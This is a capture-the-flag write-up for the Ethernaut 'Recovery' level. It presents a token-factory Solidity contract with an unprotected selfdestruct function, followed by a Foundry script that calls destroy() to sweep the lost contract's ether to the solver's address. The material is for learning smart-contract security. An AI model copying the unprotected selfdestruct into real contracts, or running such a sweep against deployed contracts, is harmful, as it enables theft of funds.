Recovery
A contract
creator has built a very simple token factory contract. Anyone can
create new tokens with ease. After deploying the first token contract,
the creator sent 0.001
ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001
ether from the lost contract address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Solution:
Here the INSTANCE_17
address is not the level instance but the token address (you can get it looking at an blockchain explorer)
An other method would have been to calculate the contract address by hands but this is cumbersome here…
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface SimpleToken {
function destroy(address payable _to) external;
}
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_17");
address pubKey = vm.envAddress("PUBLIC_KEY");
vm.startBroadcast(deployerPrivateKey);
SimpleToken simpleToken = SimpleToken(addr);
console.logUint(addr.balance);
simpleToken.destroy(payable(pubKey));
console.logUint(addr.balance);
vm.stopBroadcast();
}
}